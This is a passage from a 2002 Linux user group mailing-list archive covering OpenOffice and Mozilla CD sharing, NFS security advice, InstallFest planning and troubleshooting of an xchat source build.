iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 GmQK3OKjzE1aggpT4D6E2B7H =m9Qk -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:23:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 13:23:50 -0700 (PDT) Subject: Contact for installfest In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: <20020605202350.55136.qmail@web13904.mail.yahoo.com> I greatly apologize for asking this, since the answer has already been stated, but who do we contact about being able to help at the installfest? mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:26:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:26:17 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: I do. Stop by New Vision to pick it up. On Wed, 5 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > spend the next week downloading it over a 56K connection. Anyone have them? > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > GmQK3OKjzE1aggpT4D6E2B7H > =m9Qk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:32:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 13:32:24 -0700 (PDT) Subject: NFS and security In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: <20020605203224.49960.qmail@web13907.mail.yahoo.com> In the near future I am going to be connecting two linux boxes together, workstation to file server. The only way I know of to do this is to use NFS. However, everytime I read something about NFS it states how insecure it is. Is there a way to do this that is more secure than NFS, or are there procedures to make NFS more secure? They will connect to the internet shortly after being set-up, so I am concerned about the security issue. mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:42:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 05 Jun 2002 16:42:07 -0400 Subject: Open Office 1.0 for Linux and Windows Message-ID: I have such a CD. I will bring a copy to next meeting or we can make other arrangements. Alan On Wed, 5 Jun 2002 13:11:10 -0700 Jim wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Looking for a copy of OO for Linux and Windows on a CD so that I dont have to spend the next week downloading it over a 56K connection. Anyone have them? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 GmQK3OKjzE1aggpT4D6E2B7H =m9Qk -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:40:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:40:54 -0700 (PDT) Subject: NFS and security In-Reply-To: <20020605203224.49960.qmail@web13907.mail.yahoo.com> Message-ID: Hopefully they're not directly connected to the Internet. Setup a firewall/router between your boxes and the Internet to block all incoming connections initiated from the outside, and you should be fine. ~M On Wed, 5 Jun 2002, MCR wrote: > In the near future I am going to be connecting two > linux boxes together, workstation to file server. The > only way I know of to do this is to use NFS. However, > everytime I read something about NFS it states how > insecure it is. Is there a way to do this that is > more secure than NFS, or are there procedures to make > NFS more secure? They will connect to the internet > shortly after being set-up, so I am concerned about > the security issue. > mike > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:35:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 05 Jun 2002 13:35:18 -0700 Subject: NFS and security In-Reply-To: <20020605203224.49960.qmail@web13907.mail.yahoo.com> References: <20020605203224.49960.qmail@web13907.mail.yahoo.com> Message-ID: <1023309321.1570.3.camel@CX868974-C> NFS over ssh is possible, check google for a link On Wed, 2002-06-05 at 13:32, MCR wrote: > In the near future I am going to be connecting two > linux boxes together, workstation to file server. The > only way I know of to do this is to use NFS. However, > everytime I read something about NFS it states how > insecure it is. Is there a way to do this that is > more secure than NFS, or are there procedures to make > NFS more secure? They will connect to the internet > shortly after being set-up, so I am concerned about > the security issue. > mike > > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:36:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 13:36:48 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> Message-ID: Speaking of which... I could probably burn a bunch of CDs with OO for Linux and Windows and have them available at the InstallFest. On Wed, 5 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > spend the next week downloading it over a 56K connection. Anyone have them? > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > GmQK3OKjzE1aggpT4D6E2B7H > =m9Qk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 21:04:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 14:04:23 -0700 (MST) Subject: Contact for installfest In-Reply-To: <20020605202350.55136.qmail@web13904.mail.yahoo.com> Message-ID: On Wed, 5 Jun 2002, MCR wrote: > who do we contact about being able to help at the installfest? wlindley@wlindley.com This should be somewhere on the PLUG page if it isn't already. \\/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 21:17:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 14:17:25 -0700 Subject: Open Office 1.0 for Linux and Windows In-Reply-To: <02060513111011.00730@nova.wedge.org> References: <02060513111011.00730@nova.wedge.org> Message-ID: <1023311845.3cfe7fe590635@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > > spend the next week downloading it over a 56K connection. Anyone have > them? > - -- > Jim > Why don't you ask the PLUG CD Service for one? Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 20:36:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 5 Jun 2002 16:36:16 -0400 (EDT) Subject: InstallFest Tips? Message-ID: Unfortunately, I'm going to be out of town or I would lend a hand with the InstallFest. I'd be happy to chip in some burns of distros or OpenOffice if that would help. In July I'm going to get together with half a dozen friends from my office who want to try Linux for the first time. Would it be possible for those of you who will be at the InstallFest to keep track of any major problems or successes, so I can try to avoid the former and capitalize on the latter? Might even turn into a handy guide for people to use when introducing Linux to their office or their children's school. I'm thinking along the lines of, "would've been easier if we'd had a bigger hub," or "having OpenOffice was a big hit because it let people see how they can use Linux to do what they're doing on Windows." Sort of a post-mortem. ------------------------------------------------------------------- "This time around, everything not forbidden is mandatory." "...Congress is willing to butcher the $600 billion tech industry to feed the $35 billion entertainment sector..." http://www.eff.org/blogs/bpdg/ ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:05:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:05:55 -0700 (PDT) Subject: Mozilla 1.0 anyone? Message-ID: If anyone can get a copy of Mozilla 1.0 to me, I'll setup a site for people to download it. Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:14:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:14:00 -0700 (PDT) Subject: Mozilla 1.0 "Mirror" In-Reply-To: Message-ID: If anyone is interested, you can download the source, the RH 7.x RPMs, and the Win32 version at: http://plug.netpro.to/mozilla/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:17:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 05 Jun 2002 15:17:05 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID:

Yes.......Please do.

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Speaking of which... I could probably burn a bunch of CDs with OO for
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From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:24:00 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: Message-ID: I'll also throw Mozilla 1.0 for Linux and Windows on the CD as well. ~M On Wed, 5 Jun 2002, Jeff James wrote: > > Yes.......Please do. > > From: Matt Alexander > Reply-To: plug-discuss@lists.plug.phoenix.az.us > To: > Subject: Re: Open Office 1.0 for Linux and Windows > Date: Wed, 5 Jun 2002 13:36:48 -0700 (PDT) > Speaking of which... I could probably burn a bunch of CDs with OO for > Linux and Windows and have them available at the InstallFest. > On Wed, 5 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > > spend the next week downloading it over a 56K connection. Anyone have them? > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > > GmQK3OKjzE1aggpT4D6E2B7H > > =m9Qk > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > _____________________________________________________________________________________________________________________________________________________________ > Join the world’s largest e-mail service with MSN Hotmail. Click Here > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and > you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:45:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 15:45:47 -0700 Subject: Open Office 1.0 for Linux and Windows In-Reply-To: ; from theothercomputerguy@hotmail.com on Wed, Jun 05, 2002 at 03:17:05PM -0700 References: Message-ID: <20020605154547.A28211@nadesico> On Wed, Jun 05, 2002 at 03:17:05PM -0700, Jeff James wrote: Dunno about anybody else, but this text is unreadable to me. HTML attachments don't come across email well -- especially when the email doesn't have a plaintext attachment. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:02:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 5 Jun 2002 16:02:49 -0700 (MST) Subject: InstallFest Tips? In-Reply-To: Message-ID: Am 05. Jun, 2002 schwätzte Robert Bushman so: > ------------------------------------------------------------------- > "This time around, everything not forbidden is mandatory." > "...Congress is willing to butcher the $600 billion tech industry > to feed the $35 billion entertainment sector..." > http://www.eff.org/blogs/bpdg/ > ------------------------------------------------------------------- $35 billion? industry vs. sector? A couple of films this year have made over $100 million in the opening weekend. Spider Man has over $300 million in the .us thus far. Hell, film, tv, music, and sports all probably top $35 billion on their own. Granted, there's a lot of cross-over because sports get a lot of the money from tv, but I find it hard to believe that the 'entertainment sector' is only $35 billion. They're also the only sector that hasn't been reducing salaries or having massive layoffs. Wouldn't it be great to see a bunch of the baseball teams have to layoff 7 or 8 players mid-season? :) Coach ( to GM ): But we have to have 9 players on the field. GM: Well, you're just gonna have to find a way to make do. Remember, we expect no loss in productivity or quality... ciao, der.hans -- # https://www.LuftHans.com/ # I'm not anti-social, I'm pro-individual. - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:54:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 15:54:56 -0700 Subject: OO CD Message-ID: <02060515545614.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks to Matt, I have a CD - thanks also to everyone else who offered to help me out. I think it would be superb to be able to install OO 1.0.x and zilla 1.0.x at the Install Fest. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP6WwCsk3ywszI1FEQL5bgCfaG8N5nSpmPHC3NUiEmxi98m2AOIAn3qb jSPWHTx7d9l7QEw7Crf6/jpm =2y4f -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:57:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 15:57:32 -0700 Subject: Contact for installfest In-Reply-To: <20020605202350.55136.qmail@web13904.mail.yahoo.com> References: <20020605202350.55136.qmail@web13904.mail.yahoo.com> Message-ID: <02060515573215.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bill is the coordinator for the Install Fest. And we will indubitably be keeping tabs on how successful every install goes and if a problem crops up, we should be noting the reason(s). On Wednesday 05 June 2002 13:23, you wrote: > I greatly apologize for asking this, since the answer > has already been stated, but who do we contact about > being able to help at the installfest? > > mike > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP6XXSsk3ywszI1FEQIPMACghWYiy7UUuP3GrP5SxQXOJoEfGSYAoM3/ XjIowsXjFSngpW9jsRMHW8d4 =xMOl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:06:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 16:06:38 -0700 (MST) Subject: InstallFest -- Status Message-ID: Here's everything I have to date. Please reply off-list with additions or corrections. ------------------------------- What: InstallFest When: 22 June 2002, 10am-4pm Where: Turquoise Room, Scottsdale Community College, Hwy. 101 & Pima Rd. Press release at: http://www.plugpresents.com/installfest ------------------------------- STATUS as of 2002-06-05 16:00 MST SCC Contact: G.D.Thurman Publicity: Jim Wejroch Press Release: Dennis Kibbe Flyer: Susan Henson Newbie classes (hope to have schedule before Fest): ______ Vendors: Alan Dayley Installations: (Prefer to have several names for each) RedHat: ______ ______ Alan Robert A.Klahn Mandrake: ______ ______ W.Lindley Debian: ______ ______ Robert A.Klahn Slackware: ______ Bruce Pettycrew BSD: ______ J.Francois General Assistance: _____ _____ Matt Alexander "kb" Presentations: per Thurman, we will have a room with video projector. - Intro to Linux/GNU/PLUG/Free/Open Software: 1. Linux/Open Source: Jim Wejroch 2. ______ <-- YOUR NAME HERE! 3. KDE: ______ or Jim Wejroch 4. ______ 5. Linux/Open Source: der.hans 6. ______ (Should have several folks to speak briefly). - Videotape, Stallman visit October 2001: Thurman - Other presentations: ________: ______ (Your chance to speak!) Food: per Thurman: - SCC to provide food stand. Outside food, non-alc. drink OK. - Food and drink are allowed in the Turquoise Room and Foyer area. Giveaways: - (see also Vendor above) - PLUG handouts: ______ ______ - PLUG business cards: Jim - Tux the Penguin, case badges, to all successful installs. Dennis Kibbe - SCC is going to give away the following books: + Just For Fun (The Story of an Accidental Revolutionary) + The Cathedral and Bazaar (Musings on the Linux and Open Source by an Accidental Revolutionary) + Open Sources (Voices from the Open Source Revolution) + Free as in Freedom (Richard Stallman's Crusade for Free Software) - Vendors: + Terra Soft: 10 packaged copies of Yellow Dog Linux 2.1. (Power PC) + TurboLinux: books & "goodies" CDROMs to give away - Mandrake 8.2 ______ - Debian ______ - RedHat 7.3 ______ - ___________ ______ <- Your favorite distro here! - Open Office, Mozilla 1.0. 10 copies, Matt Alexander Working computers for people to see. - Apple G3, der.hans (closed box) - ____________ <- KDE? - ____________ <- Gnome? - ____________ <-- need at least one with CD burner - ____________ <-- IPAQ or other platform? + Firewall Distro demos - __________ - __________ - FreeSCO: has one ready to go ----- MATERIALS LIST ----- Start of a list. Let me know which you can bring. Reply to me (not to all) with any additions / changes. Then we'll cc the pluglist. Ideally we'd have several folks with a "reserve" of items in their cars' trunks... GENERAL. - Markers, paper, tape -- for signs - Pens, pencils - Preprinted signs ("Install fest This Way" [left, right, straight]) - Easel, whiteboard, drymarkers - PLUG banner. Jim Wejroch HANDOUTS. - PLUG business cards Jim Wejroch - Flyers (We still need various handouts: Suggestions?) - Vendor materials - Supply of blank CDRs, and access to ISOs of several distributions on an operable computer with a CD burner. - Hardware Inventory / Waiver forms -- see http://www.vlug.org/ifht/ PARTS. - power strips / surge protectors (several folks pls bring) - network switch/hub & cables (Hans?) - extra network switch/hub & cables for Firewall demos - spare keyboards William Lindley - spare mice William Lindley - various converter plugs, screws, etc. - screwdrivers - network cards (PCI, ISA) - extra floppy drives, cdrom drives, video and sound cards (for folks with recalcitrant hardware?) - IDE, floppy cables FOOD. - _______ - _______ - _______ <--- sponsors? ----------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:31:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 16:31:26 -0700 Subject: xchat compile In-Reply-To: <20020605103211.A27101@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> Message-ID: <20020605163126.0bc28860.snoogans@qwest.net> its setting it to gcc, im assuming thats normal. I am completely new at this but from reading it looks like the only error it has is the /bin/sh: -o command not found. it looks to me like its trying to run "-o" as its own command but i could be completely wrong. Any other ideas? On Wed, 5 Jun 2002 10:32:11 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 04:27:04AM -0700, robert jorgenson wrote: > > okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... > > > > chimera:/home/bob/xchat-1.8.9# make > > make all-recursive > > make[1]: Entering directory `/home/bob/xchat-1.8.9' > > Making all in po > > make[2]: Entering directory `/home/bob/xchat-1.8.9/po' > > file=./`echo ca | sed 's,.*/,,'`.gmo \ > > && rm -f $file && PATH=../src:$PATH -o $file ca.po > > /bin/sh: -o: command not found > > make[2]: *** [ca.gmo] Error 127 > > make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' > > make[1]: *** [all-recursive] Error 1 > > make[1]: Leaving directory `/home/bob/xchat-1.8.9' > > make: *** [all-recursive-am] Error 2 > > chimera:/home/bob/xchat-1.8.9# > > > > First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) > > Looks to me like the Makefile isn't setting $(CC) properly. Check the > toplevel Makefile to see if it's redefining it to something bizarre. Since > it's an autoconf configure script, you'll likely have to edit the > po/Makefile and all other subdirectory's Makefiles as well. > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:29:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 16:29:14 -0700 Subject: InstallFest Tips? In-Reply-To: References: Message-ID: <200206051629.14175.voltage_spike@fastmail.fm> On Wednesday 05 June 2002 04:02 pm, der.hans wrote: > Hell, film, tv, music, and sports all probably top $35 billion on their > own. Granted, there's a lot of cross-over because sports get a lot of the > money from tv, but I find it hard to believe that the 'entertainment > sector' is only $35 billion. I think there is even more crossover than you imply. I think for many of us, the "technology industry" is the "entertainment sector". I know I spent $170 on a Sony Clie just to read books . . . -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:52:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 16:52:26 -0700 Subject: xchat compile In-Reply-To: <20020605163126.0bc28860.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 04:31:26PM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> Message-ID: <20020605165226.A28314@nadesico> On Wed, Jun 05, 2002 at 04:31:26PM -0700, robert jorgenson wrote: > its setting it to gcc, im assuming thats normal. I am completely new at > this but from reading it looks like the only error it has is the /bin/sh: -o > command not found. it looks to me like its trying to run "-o" as its own > command but i could be completely wrong. Any other ideas? On my box it compiles thusly: make all-recursive make[1]: Entering directory /home/mondoshawan/xchat-1.8.9' Making all in po make[2]: Entering directory /home/mondoshawan/xchat-1.8.9/po' rm -f cat-id-tbl.tmp sed -f ../intl/po2tbl.sed ./xchat.pot \ | sed -e "s/@PACKAGE NAME@/xchat/" > cat-id-tbl.tmp sed: Couldn't open file ../intl/po2tbl.sed if cmp -s cat-id-tbl.tmp ./cat-id-tbl.c; then \ rm cat-id-tbl.tmp; \ else \ echo cat-id-tbl.c changed; \ rm -f ./cat-id-tbl.c; \ mv cat-id-tbl.tmp ./cat-id-tbl.c; \ fi cat-id-tbl.c changed cd . && rm -f stamp-cat-id && echo timestamp > stamp-cat-id file=./echo ca | sed 's,.*/,,'.gmo \ && rm -f $file && PATH=../src:$PATH /usr/bin/msgfmt -o $file ca.po I'm guessing that it might not be finding the msgfmt program. Do a search for it on your box. When you find it, you'll have to redefine the Makefile's MSGFMT variable to point to it. Fortunately, it looks like you'll only need it for the files in the po/ directory, so only the Makefile in there will need to be edited. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:09:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 17:09:46 -0700 Subject: xchat compile In-Reply-To: <20020605165226.A28314@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> Message-ID: <20020605170946.3654dd76.snoogans@qwest.net> Okay after some searching i found out i didn't have it installed so installed the gettext package which had it in it. It is now in /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt GMSGFMT = PATH=../src:$$PATH MSGFMT = no i did ./configure again after i installed it. I really have no idea how i would change that to point to where it is or what most of that means. I would gather the MSGFMT = no part means it doesn't think i have it but im not sure. On Wed, 5 Jun 2002 16:52:26 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 04:31:26PM -0700, robert jorgenson wrote: > > its setting it to gcc, im assuming thats normal. I am completely new at > > this but from reading it looks like the only error it has is the /bin/sh: -o > > command not found. it looks to me like its trying to run "-o" as its own > > command but i could be completely wrong. Any other ideas? > > On my box it compiles thusly: > > > make all-recursive > make[1]: Entering directory /home/mondoshawan/xchat-1.8.9' > Making all in po > make[2]: Entering directory /home/mondoshawan/xchat-1.8.9/po' > rm -f cat-id-tbl.tmp > sed -f ../intl/po2tbl.sed ./xchat.pot \ > | sed -e "s/@PACKAGE NAME@/xchat/" > cat-id-tbl.tmp > sed: Couldn't open file ../intl/po2tbl.sed > if cmp -s cat-id-tbl.tmp ./cat-id-tbl.c; then \ > rm cat-id-tbl.tmp; \ > else \ > echo cat-id-tbl.c changed; \ > rm -f ./cat-id-tbl.c; \ > mv cat-id-tbl.tmp ./cat-id-tbl.c; \ > fi > cat-id-tbl.c changed > cd . && rm -f stamp-cat-id && echo timestamp > stamp-cat-id > file=./echo ca | sed 's,.*/,,'.gmo \ > && rm -f $file && PATH=../src:$PATH /usr/bin/msgfmt -o $file ca.po > > > I'm guessing that it might not be finding the msgfmt program. Do a search > for it on your box. When you find it, you'll have to redefine the Makefile's > MSGFMT variable to point to it. Fortunately, it looks like you'll only need > it for the files in the po/ directory, so only the Makefile in there will > need to be edited. > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:07:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 05 Jun 2002 17:07:56 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID:

Where do you change this option in HotMail ?  Didn't see anything in the "Options" folder.

Thanks

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From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:38:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 17:38:14 -0700 Subject: xchat compile In-Reply-To: <20020605170946.3654dd76.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 05:09:46PM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> Message-ID: <20020605173813.A30441@nadesico> On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > Okay after some searching i found out i didn't have it installed so > installed the gettext package which had it in it. It is now in > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > GMSGFMT = PATH=../src:$$PATH > MSGFMT = no > > i did ./configure again after i installed it. I really have no idea how i > would change that to point to where it is or what most of that means. I > would gather the MSGFMT = no part means it doesn't think i have it but im > not sure. Just change the line from MSGFMT = no to MSGFMT = /usr/bin/msgfmt Save the file, and do a 'make' -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:45:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 17:45:31 -0700 Subject: xchat compile In-Reply-To: <20020605173813.A30441@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> Message-ID: 